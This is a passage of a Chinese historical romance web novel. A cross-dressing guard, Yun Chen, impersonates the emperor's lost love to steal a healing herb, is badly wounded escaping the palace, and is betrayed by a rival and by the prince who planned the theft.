她原本不懂为何这些寻常事便能伤到炎朗,却忽然意识到一个很重要的问题——
炎朗是三殿下,他的弟弟们都已建功立业、婚娶生子的话。
再结合炎朗从来只挑入夜人少的时候进宫,至今未封王。
他人小鬼大,说话做事成熟稳重,但除了云琛,所有人都对此**以为常……
云琛不得已推测出一个残忍的事实:
炎朗,竟是侏儒症吗……
如果是这样,那一切便都解释得通了。
因自己久病,炎朗便钻研医理;因皇室出了这样的后代,炎朗便只能在僻静无人的广玉兰洲独居,只能深夜进宫拜见皇帝。
因为他是个成年人,所以才反感云琛总用“小孩哥”称呼他,用对待孩子的方式待他。
奕妃啰哩巴嗦说了快半个时辰才离开,等云琛从惊愕的猜度中回过神时,炎朗仍笔直地跪在地上。
他八岁的身形瘦小又单薄,穿着那一身华丽又隆重、代表皇家血脉的皇子服制,显得十分滑稽。
虽说不知者无罪,但想起自己这大半年没少戳炎朗心窝肺管子,云琛心里特别难受。
她上前扶起炎朗,替他拍拍腿上的土,掸掸衣袍,想去帮他揉揉跪疼了的腿,却又意识到炎朗已是个成年人,她是扮作男人的女子,应当授受不亲,便又收回手。
炎朗眼中有瞬间划过的失落,强撑着板起面容,冷冷道:
“这下你终于知道了,我身子是八岁的,可已在这世上蹉跎了三十九年。”
她十分心疼地看着炎朗,那目光让他极其不自在,忍不住偏头躲避,沉声道:
“侏儒症虽身材矮小,但脏腑生长俱全,可以人伦,可以娶妻生子。而我,是得了什么百年不遇且无药可医的离魂症。从我八岁那年起,便什么都不再生长了。”
身体永远停留在八岁,可心智却随着年月增长。
长到束发之年,羡慕地看着别人情窦初开;
长到弱冠之年,远远看着弟弟们都已入朝为官;
长到而立之年,孤身一人,瞧着自己弟弟们都已妻妾成群,儿女双全……
东炎皇帝后妃多,儿子也多,二十多个儿子里,只有炎朗见不得光,封不得王。
他很多年都在思考同一个问题:
自己到底该不该活着?
是否一**之才算圆了皇家体面,也不用再受这世间煎熬。
云琛难以想象炎朗这些年的痛苦。
和霍乾念不同,霍乾念是作为一个身心健全的成年男子,因意外受伤才双腿残疾,急需周围人仍用正常人的态度去对待他。
而炎朗,每个人都小心翼翼地用对待成年人的方式对待他,可只要他活在这世上一日,一切尘世烟火、寻常人伦,通通都能伤他入骨……
云琛不知该怎么安慰,炎朗似乎也已习惯这日复一日的痛苦,并不需要安慰。
但她知道,他只是
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努力装作太平无事的模样。
否则他府上不会全是小厮和护卫,连一个侍女都没有。
既然天生鼻聋,何必靠近芬芳。
就这样,一路再无话。
云琛随炎朗进入一处殿宇,拜见他的生母赵贵妃。
一见那温婉和顺的赵娘娘,云琛瞬间明白为什么炎朗有如此遭遇,却没有变得性情扭曲的缘故,充其量就是被伤害的麻木了,非常冷血。
有这样一位母亲在,大概平复了炎朗这一生许多伤痛吧。
看着母慈子孝的情景,云琛心里更加惋惜。
炎朗身体虽只有八岁的样子,但相貌遗传了炎绰的剑眉星目,颇有少年英俊的雏形。
从前第一次见到炎朗时,她就觉得这是个十分漂亮的男孩子。
她心中叹息,如果不是离魂症,没有被禁锢在一副小小的身躯里,如今的炎朗,也应当是个光风霁月的朗朗公子吧。
离开赵贵妃宫里时,天已将黑。
炎朗带着云琛往外走,经过一处宫巷时候,遇见两个小太监风风火火地跑过去,一会儿又带着两个太医火急火燎地跑回来。
炎朗好奇地问宫人,说是半个时辰前,奕妃从皇帝处送完点心回宫,不知怎么的,突然从宫辇上摔了下去,将两个膝盖磕得乌青发紫,看起来得有十天半个月下不了地。
听完宫人所言,炎朗立马想起方才他与赵贵妃说话时,作为护卫的云琛,一直站立在殿角落,中途曾消失了一段时间。
他立刻去看云琛,果然从后者灵动的双眸之中看到一丝狡黠。
不明白云琛为什么又在做些多余的蠢事,他眼光颤动些许,却没有说话。
待乘着马车离开皇宫,他才训道:
“你这厮,好大的胆子。”
云琛得意扬眉:
“御花园里都是小石子,我有一百种办法让她摔个狗吃屎!”
炎朗忍不住笑出声。
“你有一百种法子对付奕妃,可想到一个法子去盗风蚀草?”
“还没想到……你们东炎皇宫实在戒备太森严,我很仔细地观察了下,你父皇身边至少有两个高手暗卫日夜守卫。”
“应当是八个。”
“特娘的……”
“你是绝不可能悄悄靠近我父皇身边的。你必须要正大光明地接近他,才有胜算。我有个法子,你敢不敢试?”
“敢!”
第132章 盗取风灼草(上)
严朗的法子,极其惊险又异想天开。
但云琛还是决定一试。
炎朗道:“用这个法子,必得舍出半条命。”
云琛笑笑:“半条不怕,就是舍出一条也行,我本就是为这个来东炎的呀!”
炎朗忍不住好奇,“你家主子对你到底有多好,值得你这样卖命?”
一瞬间,霍乾念那幽深的凤眸、俊逸又冷郁的容颜浮现在云琛脑海,立刻引得她心头一阵酸痛。
她努力不去想,只将全部心思用在“盗取风灼草”这一件事上。
敲定计划后,云琛与炎朗暂时别过。
她离开广玉兰洲,进入东炎皇宫的所在地——王都朝晖城。
在城中一处偏僻小屋静静等待了半个月,她终于等到楠国的九龙官旗随风飘扬,仪仗队浩浩荡荡进入朝晖城。
东炎皇帝的五十岁生辰将至,南璃君特遣菘蓝前来恭贺送礼。
东炎虽与楠国不睦,但多年下来没有什么大的战争,也算和平。
且公主南璃君一向与东炎皇帝炎绰十分亲近,据说南璃君曾数次亲自前来王都拜访,还称炎绰为舅舅。
因此,菘蓝一行人宿在京城驿馆,带的护卫不多,守卫也并不森严,云琛稍微费了点心思,便潜入了菘蓝的寝屋。
彼时,菘蓝刚换完寝衣纱裙要入睡,扭头却见房里突然冒出个大活人,吓得她差点失声尖叫。
她惊诧又恼羞,赶紧裹上外衫,低声怒斥:
“你怎么会在这?夜闯女子闺房,你想害我不成?!”
云琛赶紧低头请罪,好声好语道:“大人恕罪,小的不得已才半夜来访,请大人施以援手!”
菘蓝穿好衣服,收拾妥当,但见云琛一直低着头,并未有一丝轻薄之意。
又想起眼前这人是与霍乾念有情愫纠葛的,并不会对自己造成什么威胁,菘蓝暗暗松口气,走到厅中坐下,细细打量云琛。
“云琛啊云琛。”菘蓝别有意味地开口。
云琛连忙跟着跪到厅中,静待菘蓝下一句话。
菘蓝却只觉得心里错综复杂,什么滋味都有。
眼前是那已褪去青涩,愈发稳重,也愈发俊俏的云琛。
是被玉阳基惦记了一番,却被“逐出”霍帮的亲卫。
是楠国京都城里热烈地讨论了好一阵的大名鼎鼎的“玄都护卫”。
也是堂堂霍帮少主甘愿为之成为龙阳断袖,霍乾念心尖上的人。
一年未见,任楠国京都与烟城如何风云诡谲,眼前这双眼睛却置身事外,仍旧清澈得如同新生,干净得没有一丝杂念。
可偏偏菘蓝最讨厌的,就是云琛这双毫无邪念的眼睛。
在这污浊又充满算计的世间,凭什么云琛就淤泥里来去,不惹一点尘埃?
按下心中情绪,菘蓝慢悠悠问:“你说,你有事求我?”
云琛开诚布公道:“我想入宫盗取风灼草,为我家少主医治腿疾。我已在此等候大人仪仗半月,求大人将我当做随行护卫带进宫,其他什么都不用管,我已有筹谋,定不牵连大人!”
菘蓝讥笑一声,“你家少主?你不都被逐出霍帮了吗?”
云琛脸色有瞬间的颓丧,却又立刻整顿面容,坚定道:
“少主于我有大恩,我当刀山火海报之。”
对云琛来说,她与霍乾念之间,纵使没有男女之情,也还有他这些年对她赏识和看顾的恩情。
菘蓝则是脑子里浮现出这一年来霍乾念的样子:
阴郁又冷漠
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,只有在言谈公事时才像个活人,其余的时间总是在沉默,从骨子里透着一种了无生气的颓废。
人们都说,是因为霍帮被玉家大败,霍乾念才如此消沉。
菘蓝却很清楚,一切只是因为云琛。
当初,她与霍乾念被困碎石滩,霍乾念坦坦荡荡说出他爱云琛。
虽然霍乾念没有嘱咐她保守秘密,可尊贵如她菘蓝,在所有人都看出她属意霍乾念的情形下,她怎么可能让人知道她堂堂菘蓝,竟输给了一个小小护卫。
为了保护云琛,霍乾念设计将云琛逐出霍帮,动静闹得那样大,全靠菘蓝瞒着,南璃君才没有提前知道。
过后,霍乾念向菘蓝道谢,她只道:
“用不着。我就是看不惯云琛又要去立功,做了‘玄都护卫’和谈使的荣耀。”
还有一句话,菘蓝未说,那就是依照霍乾念的性子,只怕终有一日,他会不顾世俗禁忌,将他与云琛之事公诸于众。
如今云琛名气越小些,来日她菘蓝的耻辱也就更少些。
更何况,作为旁观者,她清楚看见霍乾念和云琛之间的情意,就差捅破最后一层窗户纸。
她乐于见这“纸”变成不可逾越的“大山”。
再次收回一腔思绪,菘蓝道:
“我也听说过风灼草,不过是传说中的东西,你怎么确定东炎皇宫真的有?就算有,也是罕世的宝贝,能让你随便盗了去?”
云琛诚恳道:“大人,恕小的不能多说,说得越多,只怕事后东炎追究查访起来,对大人您无益。为保大人清誉,请大人只将小的带进宫即可。”
菘蓝来了几分兴趣,柳眉微挑:
“好。那就让我看看,你究竟有什么通天的本事!”
第133章 盗取风灼草(中)
东炎皇帝生辰日,宫门大开,各国与封王皆携重礼而至。
宫中大兴歌舞奢宴,四处只见琼浆玉液倾如洪,金银宝石积如山。
云琛扮作楠国侍卫,跟随在菘蓝仪仗队的末尾进入宫中。
因皇帝生辰日人多往来,所有宾客一律不许佩兵器,护卫们也只许佩一柄木刀充样子。
云琛趁皇宫内官清点核查人数之前,身子闪进殿宇廊柱后,一把拽脱去护卫服制,瞬间露出一身东炎皇宫里最普通的太监衣服,跟着路过的太监往宫内最深处而去。
依照先前记下的宫内地形,云琛从后门摸进炎绰寝宫的净房,再次脱去一身太监服制,露出了最后一件衣服——
一身洁净如雪的白衣。
她拿恭桶里的清水当镜子照,将头发利落地束好,而后又掏出炎朗给她的药水滴在眼中。
双目顿时火辣刺痛。
她知道不远处的寝殿里还有两个暗卫留守,硬是忍着痛没有出声。
过了大约一刻钟,她才感觉眼睛好些了,再对着水面去看,只见双眼已染色得如夜幽蓝,看着诡异又阴冷。
炎朗那异想天开的法子,便是叫云琛扮作炎绰的“心病”。
东炎皇宫上下皆知,炎绰严禁宫中任何人穿白色衣衫,却没人知道为何。
炎朗说,他小时候误入宫中禁地,那只许皇帝一人进出的禁宫里,巨大的香案香烛之上,只挂着一幅画。
画中是一位白衣翩翩的绝世公子,长眉如剑,双目幽蓝,男生女相,气质阴鸷又威严。
这么多年,炎朗早已将这件事忘记了。
可那日他带着云琛入宫觐见时,皇帝不仅对云琛多番留意,还让云琛抬眼相看。
当时炎朗正探着炎绰的脉搏,炎绰那一瞬间的脉象大动,分明是积年心郁发作。
种种细节,一下让炎朗记起了那画中人。
若再仔细回想,云琛确实与那画中人有一二分相似。
只是相比之下,云琛太稚嫩了些,纯良了些。
而后,炎朗又去与赵贵妃话家常,试探炎绰年轻时候的往事。
虽然赵贵妃嘴十分严,但炎朗还是断定,宫中禁白衣全因那画中人。
那白衣公子正是炎绰经年不忘的旧情,是折磨炎绰几十年的心病。
所以,炎朗料定:
云琛若扮作那画中公子,只一两分相似,便足以接近炎绰。
为此,炎朗这些日子一直在炎绰的药饮中掺了分量很轻的致幻药物,并叮嘱炎绰禁酒。
只待今日寿辰停了药,可以饮酒,酒力催动连日积累的药效,便可令炎绰短暂地意乱情迷,云琛接近炎绰的胜算便更大些。
否则,有那八个东炎顶尖的暗卫在,云琛绝无可能悄悄潜伏靠近,唯有这一个荒唐法子,才有成功的机会。
回顾炎朗的计划,云琛一遍遍在心里给自己打气,演练着一会儿与炎绰正面相对时,可能会发生的各种情况。
尽管努力不去想,但她很清楚,这次大约是九死一生。
若真死在异国他乡,便再也见不到霍乾念了……
想到这里,胸口立刻一阵锥心刺痛,她赶忙收拾心绪,不断告诫自己:
“莫怯!怯得狠!死得快!莫怯!”
不知等了多久,当宫内宴席的喧嚣声渐渐平息,宾客散尽,重归常态,她终于听见寝殿传来声音。
听起来像是炎绰喝了不少酒,有些醉了,却不许宫人和妃子服侍,闹了一会儿,发了通脾气,寝殿才慢慢陷入安静。
云琛深吸一口气,颤抖着手,将一块白色帕巾系在脸上,心中祈祷她能更像那画中公子些。
事到如今,数丈之距,只能赌一把了!
她将藏在木刀刀柄里带进来的小短刀**靴子,然后整顿身形面容,努力想象自己是个得胜归来的王,拿出**的气势,一步步正大光明地朝寝殿走去。
她刚一出现在寝殿门口,立马就有两个暗卫从梁上跳下来,无声无息地落定在正熟睡的炎绰身边,神情警戒地看着她。
她后背起了一层汗,却强撑着不露怯,继续大步往前走。
两个暗卫“唰”地抽出佩刀,没有吓住云琛,却惊醒了榻上的炎绰。
炎绰睁开眼,朦胧之间,只见一道白衣翩翩,一双幽蓝色的眼眸。
怔了一下,炎绰几乎是瞬间从榻上翻身弹起,愣愣地望着云琛,不可置信地喃喃开口:
“阿沐……你来了吗?”
炎绰身后,两个暗卫对视一眼,默契地收起佩刀,重新跳回梁上,只当是炎绰哪个妃子情人又在耍花招讨炎绰欢心。
云琛不知该怎么接话,更不知道“阿沐”是谁,见两个暗卫退下,暗处却有更多的眼睛盯向自己,只能硬着头皮又上前一步。
在近到与炎绰只有三步距离的时候,她看见炎绰两眼无焦,神情恍惚发怔,应当是连日积累的致幻药物已发作。
她鼓起勇气,试探着说了一声:
“是我。”
炎绰缓缓站起身,宫墙上那小山一般的影子也跟着缓缓升起,将云琛整个人笼罩进阴影。
炎绰踉跄着走近云琛,颤抖着伸出手,想要触碰她的面巾,却突然身子一沉,轰然
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跪地,悲声哭道:
“阿沐……你来了……你是来接我走的吗……我真的等你很久了……你怎么才来啊……”
云琛整个人都懵了。
她设想过一千一万种情况,就是没想过炎绰会一上来就给她跪下??
她不敢后退,亦不敢上前去扶炎绰,谁知炎绰却以膝触地,又往前走了一步,神情悲切又痛苦。
“阿沐……过去的一切我都想起来了……可是……可是你已经**……我是眼睁睁看着你死的啊……”
炎绰那高大的身躯,此时就这样绝望地跪着。
已近古稀的年纪,满头青丝与白发交缠,他却泪流满面,哭得像个孩子一样无助。
不知怎的,云琛突然心生悔意。
她没想过炎绰的心病竟伤痛至此。
拿别人最痛处去为已谋求,实在太残忍。
可现在骑虎难下,后悔也没用了,云琛故意将语调放缓,轻声道:
“那便将风灼草给我吧。”
“好好好!”炎绰连连应承,一把拽着云琛就上龙榻。
暗卫们迅速退避三步。
云琛被吓得不轻,差点以为炎绰要对她干点那啥。
然而炎绰只是在榻头的龙头扶手上用力掰动了一下。
随着机栝声响起,龙头缓缓张口,伸出龙舌,露出半株雪白的枯草。
云琛大喜过望,却不敢表现。
炎绰拿出仅剩的半株风灼草,哭着捧给云琛:
“蛊医说,风灼草也叫复活草。我原本千辛万苦寻到了一整株,准备去香消崖将你复活的……可惜我那逆子偷了半株去……”
炎绰仍旧目光涣散着,神情透出不符合年龄的青涩,可怜兮兮地问:
“只剩半株了,阿沐,可以吗?”
香消崖?神仙墓?画中男生女相的白衣公子?女扮男装的前朝大将军?楠国皇后?全是同一个人?
云琛的大脑被震得乱七八糟,心说香消崖神仙墓里葬的也许真是神仙,不然怎能搅得一个个君主神仙打架呢。
没想到东炎皇帝念念不忘的旧情竟然是楠国皇后,上一辈的恩恩怨怨如此复杂。
云琛一时反应不过来,只得小心翼翼接过那半株风灼草,稳住声音道:
“足够了,你做得很好——”她大着胆子又补了一声:“炎绰。”
话音落下,她脸色大变,心里咯噔一下:
糟了,坏事了!
随着她一声“炎绰”,皇帝眼中的迷雾立刻以肉眼可见的速度褪去,眼神由浑浊变得犀利。
“阿沐,你从未叫过我‘炎绰’——你是谁?!”
第134章 盗取风灼草(下)
“你是谁?!”
炎绰一把抓住云琛,暴喝声如洪钟嗡鸣,贴着她的耳膜轰起。
云琛感觉手腕像被一把铁钳夹住似的,炎绰熊熊燃起的愤怒气势,压迫得她整个后背都发麻。
她以最快的速度抽出短靴里的**,朝炎绰眼睛刺去,果然晃得他身形一退,松开了手。
她拔腿欲逃,刚迈出去三步,立刻被八个暗卫堵得严严实实。
炎绰难以置信地瞪着眼睛,神色由惨白转向涨红,愤怒道:
“竟敢如此欺骗朕!拿下!!”
伴着炎绰的命令,暗卫们立马拔刀朝云琛杀去。
云琛连忙以小刀抵挡应对,却犹如螳臂当车,不堪一击。
照心中事先演练过的计划之一,她全力进攻其中一名暗卫,宁可身上挨了两刀,也毫不退缩,直到抢过那暗卫的佩刀,拿到可堪一战的兵器。
她喘着粗气,与八个暗卫对峙。
后背上的刀伤汩汩流着血,在一身白衣上显得扎眼又分明。
尽管已知道云琛是个来盗风灼草的冒牌货,可看着那刺目的白衣与鲜血,炎绰还是顿觉神情恍惚,往事重重浮现,那些郁在他心中多年的痛苦,全部一股脑地爆发出来。
“别……别……别杀……”他哽咽得话都说不全,突然身子剧烈一颤,呕出一大口黑血。
两个暗卫立刻冲上去搀扶炎绰。
从未见皇帝如此,其他暗卫们也都惊讶不已,但还是乖乖听令,皆反手持刀,以刀背冲向云琛。
这么一来,云琛直接毫无顾忌,立刻飞身开打,只攻不防,使出全力突围。
暗卫们都是拔尖的高手,但云琛是江鸣的徒弟,是楠国皇帝身边曾经第一高手的亲传弟子,武功不在几个暗卫之下。
即使以一敌六,她也能勉强打得平手。
再加上对方不敢下**,只以刀背砍来,云琛更加不管不顾,猛杀猛打。
实在没能将剑带进宫,她用起刀来有些生,但狠厉不减。
炎绰望着那飞快又利落的招式,先是一愣,随即横眉怒目,喝道:
“原来如此——是江鸣叫你来杀朕吗?!”
“不是不是!我只是借风灼草!借了不还的那种!”云琛一边手上打斗不停,一边抽空回了句话,同时忍不住心里哀叹:
师父啊师父,你究竟还有多少仇家?
人家师父都是给徒弟留武功秘籍,您倒好,给我留一屁股血海深仇。走到哪儿都有您的仇人,个个都是雄霸一方的君主。
恩怨这种东西就别祖传了吧?让它在你们上一代结束行不?
不敢恋战,云琛赶忙冲出大殿,按照计划的逃生路线飞奔而去。
这时,炎绰已彻底从致幻药物中清醒,宫中侍卫也纷纷听到寝殿的动静赶来。
炎绰看了眼已空空如也,再也没了风灼草的龙头机关,指着云琛飞逃的背影,怒道:
“杀!给朕杀!!将风灼草拿回!!”
随着炎绰令下,宫中侍卫立刻蜂拥而上,弓箭手亦寻声赶来,齐齐列阵待发。
一个侍卫小声说话,声音是压抑不住的激动:
“干侍卫这么多年,第一次遇到蒙面刺客,我都有点兴奋了!”
另一个侍卫也高兴道:“走,咱们去杀个头功回来!最不济也砍那刺客一条胳膊!也有功的!”
云琛全然不知自己已成砧板上的鱼肉,只全力以赴砍抵挡。
数不清的黑压压的侍卫,潮水一般将她团团围困,完全不是她之前进宫时见到的巡防数量。
今夜的侍卫突然比平时多出三倍不止。
她根本看不清前路,只觉得满世间都是寒冷刀锋,满眼都是血色杀意。
她如同一只被困在无边无际大海中的小小蜉蝣,怎么挣扎也逃不出。
笼中鸟,困中兽,她慌不择路,完全寻不到计划好的逃生路线。
不知身上挨了多少刀,她却根本感觉不到疼痛。
好不容易找到包围圈的豁口,她险险避开一刀,就地打滚,灵活地从几个侍卫胯下钻出去,飞攀上最近的宫墙,跳上殿顶。
宫墙上留下几个血淋淋的脚印,她一身白衣在重重殿顶之间飞逃跳跃,在黑夜中十分显眼。
弓箭手们几乎不需太过瞄准,抬手便放出一箭。
一道箭矢扎穿云琛的肩膀,她整个人踉跄扑倒在殿顶,又立刻翻身爬起,继续往前逃。
紧接着后背,侧腰,大腿……
一根根利箭呼啸着扎进皮肉,让她摔下一个又一个跟头。
她捂着胸口那半株细弱的风灼草,心里一遍遍默念着他的名字。
“阿念……阿念……”
从来没有这么恐惧过。
可想着那双俊逸又温柔的凤眸,她又感觉从来没有这么坚定过。
突然,一道箭矢精准地射向她小腿,令她猛地跌跪下去,立时就要跌下殿顶。
紧接着,又有三道箭矢飞射而来,一道瞄准她腹部,一道瞄准胸口,另一道瞄准面巾。
慌乱之中,她只来得及挥刀抵挡其中两处,胸口正中一箭,射得她摔下殿顶。
等侍卫们乌泱泱赶到时,地上空无人影,只剩一大滩血。
云琛匆忙躲进一处黑暗无灯的偏殿,藏进角落,压抑着剧烈的喘息。
身上的伤太多,她来不及捂任何一处,见有血顺着胳膊成线流下,只能慌乱地用手去接。
听见外面侍卫们开始挨个搜殿,她知道这偏殿也待不得了。
她小心翼翼地伸出满是血污的两根手指,掀开胸口衣襟。
见当胸一箭并未射中风灼草,损坏草身,她心中安宁许多,轻轻用信纸将其裹起来,那上面是炎朗事先写好的药方。
随后,她咬牙拔掉身上几处箭矢。
但胸口的箭却怎么都拔不出,似乎箭头卡在了胸骨里,她试了好几次,最后只能忍痛将箭折断。
做完这一切,她脱力地靠在廊柱上,一阵阵冷汗和眩晕袭来,令她眼皮子沉地睁不开……
再歇一下吧……一下就好……
鲜血很快在她的身子底下汇集成一滩,她面色惨白,双目紧闭,已是半昏迷的状态。
殿外侍卫们搜索的声音越来越近,她心里开始着急要逃,四肢却怎么都动不了。
她强撑着最后一丝意志睁开眼睛,正对上一双温情如水的凤眸。
“阿念……”
她看见霍乾念眨眨眼睛,温柔地笑起,对她说:
“从离开烟城起,我便一直暗中护着你,直到广玉兰洲外。今夜,这皇宫实在太难进来了。”
听到他这么说,她心里一下子委屈极了,想张口说话,却发不出一点声音。
“吃了这个,便还能再撑一会儿。我去引开侍卫们,你快逃。”
一股熟悉的青柑味融化在舌尖,是霍帮救命疗伤的密药,她吃过无数次的味道。
很快,她感觉意识清醒了些,视线也逐渐清晰。
“霍乾念”的脸慢慢消失,一张陌生的脸取而代之,出现在眼前。
这穿着暗卫夜行服的陌生人说:
“快一年了,云兄弟,广玉兰洲我进不去,这皇宫更费了我好大功夫才进来。接下来的路,我便不能护你了。”
“
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你是谁?”云琛疑惑。
那陌生暗卫笑笑:
“云兄弟,你不认识我,我却是熟悉你的。霍帮那么多护卫,我最佩服你的本事,你比飞衔府试的第一名还要厉害的。”
而后,陌生暗卫神色微凛,透出决绝与坚毅,飞身闪出偏殿。
云琛立马就听到侍卫们大叫着“刺客在这里”,一大群脚步声跟着远去。
偏殿外重归寂静。
云琛感觉四肢又有了些力气,她用刀撑着地,一点点重新爬起来。
她没空去思考这陌生暗卫是谁,为什么会出现在这里。
她只知道此刻必须要逃。
朝着先前计划的路线,她往最偏僻无人的皇宫角落跑去。
侍卫们几乎全部去抓刺客了,各处只有寥寥几个侍卫在原地值守巡逻。
她捂着胸口,一路踉跄,一路躲藏,最终停在角门不远的宫墙前。
所有宫门都有侍卫们把守,她只能翻墙出宫。
可皇宫宫墙造的耸入夜云,飞鸟经过时,尚且要被绊个跟头,遑论云琛。
她拿起侍卫刀,用力在宫墙上刮出几道浅浅的小坑,用来落脚。
可宫墙太高了,她踩着那几个半掌大小的浅坑,充其量只能爬到宫墙三分之一。
她便将鞋袜脱下,从身上撕下几缕已被血染透的布条,一圈一圈缠绕在脚上,自言自语道:
“还好,原本计划要用尿将布条浸透的,这下不必随地撒尿了……”
望着高耸的宫墙,她估量着轻功攀登的路线,开始感觉到被箭矢射穿的小腿一阵阵锥痛。
如果今日毫发无伤,她尚且有信心轻功攀跃宫墙。
可此时……
她深吸一口气,吸到一半,又觉胸口疼痛难忍。
她撤步俯身,做好冲刺的准备。
这时,几个巡逻的侍卫发现了她,立刻大叫起“这也有刺客!”朝她快速冲过来。
只有这一次机会!一次!
她猛地冲出去,奋力跃上宫墙,踩着几道浅坑如燕而上,接着脚蹬墙壁,借湿布条与墙壁之间的摩擦,堪堪借力而起。
攀上宫墙顶,云琛心中大喜,还未来得及站稳,就感觉眼前黑影一闪,腹部一重,她被黑暗里伸出的一只脚狠狠踹了下去。
完全没想到在这即将逃出生天之时,会有人躲在这里偷袭她。
她惊愕地看着那浑身黑衣黑面的暗卫,只看到一双纠结复杂的眼睛。
她直直摔下宫墙,身子就地打了七八滚才停下,刀也远远地摔在一边。
两个侍卫冲上来扭住她,更多的侍卫在朝这里跑来。
她摔得七荤八素,眼冒金星,心里生出绝望,却还是暗暗从袖子摸出那柄最开始带进宫的小短刀。
握住这比手掌还小的短刀,她一口咬住一个侍卫的胳膊,趁那侍卫吃痛大叫之际,迅速挥出短刀,杀向另一个侍卫脖颈。
挣脱开两人钳制,她慌忙捂住即将掉落的面巾,撒丫子再次奔逃。
来不及做好准备,她再次冲向宫墙,使出全部轻功蹬墙而上!
眼前是朱红色的冰冷宫墙。
余光中是黑压压的数不清的侍卫帽顶。
她一身血衣,使出毕生之力攀登跃起。
可力气实在不够了,受的伤实在太重。
在离宫墙顶只有一步之遥的时候,她气息一松,就要摔下。
千钧一发之际,她一把将短刀扎进宫墙。
虽然宫墙极其坚硬结实,短刀只浅浅没进去一个刀尖,但已足够她调息、凝神、全力翻跃——
眨眼间越过宫墙顶,消失得无影无踪。
第135章 见死不救
云琛血溅宫墙的同时,朝晖城的驿馆已入静熄灯。
驿馆内外一派安静,都知道既已为东炎皇帝贺过寿,明日便要起程回楠国。
赶在一路遥远颠簸之前,众人纷纷早早入睡。
但菘蓝却没什么睡意。
她在寝屋里来回踱步,不时侧耳倾听一番,却始终没听见什么动静。
她有些后悔那么轻易助了云琛,若云琛被抓去审问,只怕会砸了此行差事,惹怒东炎皇帝,一并惹怒公主。
霍乾念若能痊愈站起来,对公主势力百益无害,可对她菘蓝来说,残不残废的,有什么要紧。
菘蓝陷入沉思。
不知过了多久,她终于听见屋外传来“咚咚”的叩门声。
声音很轻,但菘蓝一直在等,一下就听到那声音。
偏门的守卫早已被菘蓝撤去,她亲自上前开门,还未走到门口,便闻见一股浓郁的血腥味。
尽管已在心里设想过云琛的样子,但在打开门的一刹那,菘蓝还是吓得差点叫出声。
云琛赤着脚,小腿上布满血洞。浑身衣衫已残破不堪,染透着血,只能从湿漉漉的血红之中看见几缕白,才知她穿的是白衣。
重伤至此,多亏那霍帮疗伤密药支撑着,让云琛强撑住最后一口气,奔到了驿馆。
可当叩响门,知道这门里必然会走出楠国人,而且是与霍帮同盟的公主手下之后,云琛突然就失了力气,摔倒在台阶上,再也站不起来。
菘蓝平复心绪,慢慢蹲下来,不慌不忙地打量云琛。
她的面色越来越平静,没有一丝要救人的急切,问:
“风灼草呢?”
残存着最后一丝力气,云琛从怀里摸出一个血迹斑驳的信纸卷,颤抖着手递给菘蓝,断断续续艰难道:
“求大人……给……少主……”
云琛知道,照如今她这个样子,根本无法亲自回楠国,将风灼草送给霍乾念。
况且风灼草丢失,东炎必然举国彻查。
相比她,菘蓝更容易安稳离开东炎。
菘蓝接过信纸卷,摊开一看,信纸上写着以风灼草治疗腿疾的药方,里面卷着半株枯草。
既将风灼草交出,云琛彻底两眼一黑,再也没了动静。
菘蓝掀开云琛的面巾,将手伸到她鼻息下,已几乎感觉不到什么气息。
“云琛啊云琛,你怎么敢的啊……”既佩服到极点,又嫉妒到骨子里,菘蓝看着云琛摇头叹息,像是惋惜了一阵,而后唤来两个心腹侍卫:
“务必将这里的血迹打扫得干干净净。”
两个侍卫领命,又问:“大人,那这人怎么办?”
菘蓝打量手里的风灼草和药方,又冷眼看着奄奄一息的云琛,露出一个厌恶又得意的笑容,道:
“不是说他很厉害吗?不是说,他到这世上哪里都能活吗?那便将他扔去最偏僻无人的地方,让他‘好好’活。”
一刻钟后。
赶在封城之前,两个暗卫从城郊偏僻破屋找到只剩一口气的云琛,连夜奔向广玉兰洲。
从旁人的眼去看广玉兰洲,只见洲上红叶茂盛成片,依山傍水,屋宅安宁。
从暗卫的眼睛看去,却能看见这洲上数不清的暗卫们,一个个静默蹲守在暗处,宛如一张密不透风的网。
两个暗卫一路奔进宅院,将云琛放在炎朗面前。
炎朗几乎不用探脉,只扫一眼,就知道云琛快**。
他不悦皱眉,“怎么带回来了?不是吩咐过,一定要让他在宫中被抓,被困进天牢最好吗?”
一个暗卫道:
“殿下恕罪。皇上本来是要抓活口的,但不知从云护卫武功招式看出什么来了,又要直接**,看样子审都不审了。我们只能暗中相助云护卫逃离。”
另一个暗卫纠结道:
“殿下,云护卫很聪明,也很厉害,第一次差点翻出宫墙时,属下赶紧将他一脚那什么……拦了回去。可是您之前吩咐过,无论如何,要留他一条性命,属下瞧云护卫身上的伤太多,只怕再从宫墙顶上摔下去一次,当场便会身亡,所以第二次只好由云护卫逃去了。”
炎朗沉思着,没有再说话。
他沉默了多久,那两个暗卫便噤声了多久。
直到他挥手示意退下,两个暗卫才松了口气,快速离开屋子。
对于旁人来说,炎朗就像红林烂漫的广玉兰洲,看着遗世独立又高贵。
可对于暗卫们来说,炎朗这个副主子,远远比他们正主子还要可怕。
屋子里重归寂静。
炎朗摘下云琛的面巾,将一支香靠近她鼻息,烟气几乎不波动。
他抽出几根银针,一边刺入云琛身上几处大穴,一边像是自言自语地说道:
“世上之事如此巧。在你来广玉兰洲之前,已有人将你托付给我。他说,只要你活着,留一口气就行,要叫你永生永世不许回楠国
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。我思来想去,既然你要偷风灼草,那皇宫天牢里最安全,可以如他所愿,叫你一辈子待在里面。”
扎完针,炎朗开始拔去她身上各处折断的箭矢,下手干脆利索,毫不留情。
每拔出一根箭矢,就带出她一小块皮肉。
“所以我没告诉你,我父皇生辰日,宫中的侍卫数量比平时多出三倍不止。不曾想,你这个小子挺有种,竟逃了出来。”
云琛身上最后一根箭矢卡在胸口,炎朗使了好几次力气都没**。
他觉得很可笑,伸出两指弹了弹那折断的箭矢,不顾云琛即使在昏迷中都疼得皱起眉头,道:
“你这个人真奇怪,我的暗卫说,当三支箭矢朝你射去的时候,一箭瞄准腹部,一箭瞄准心口,一箭瞄准面颊,你明明可以挡去两处要命的箭矢,却偏偏宁可胸口挨一箭,也要护住脸,你就这么爱惜自己这张脸吗?”
“不能让别人……看到我的脸……我怕……连累你……”
云琛不知道什么时候醒了过来,费力地接上炎朗的话,而后吐出一大口血,又昏了过去。
她先前随炎朗进宫多次,若被侍卫看到脸,会很容易累及炎朗。
只可惜她的这份心意,仍旧撞在炎朗近乎残忍的“冷血”上。
他眼中淡漠,嘴角更是扬起一抹讥笑,“你想多了。我既敢让你入宫盗草,势必有一百个法子撇清关系。”
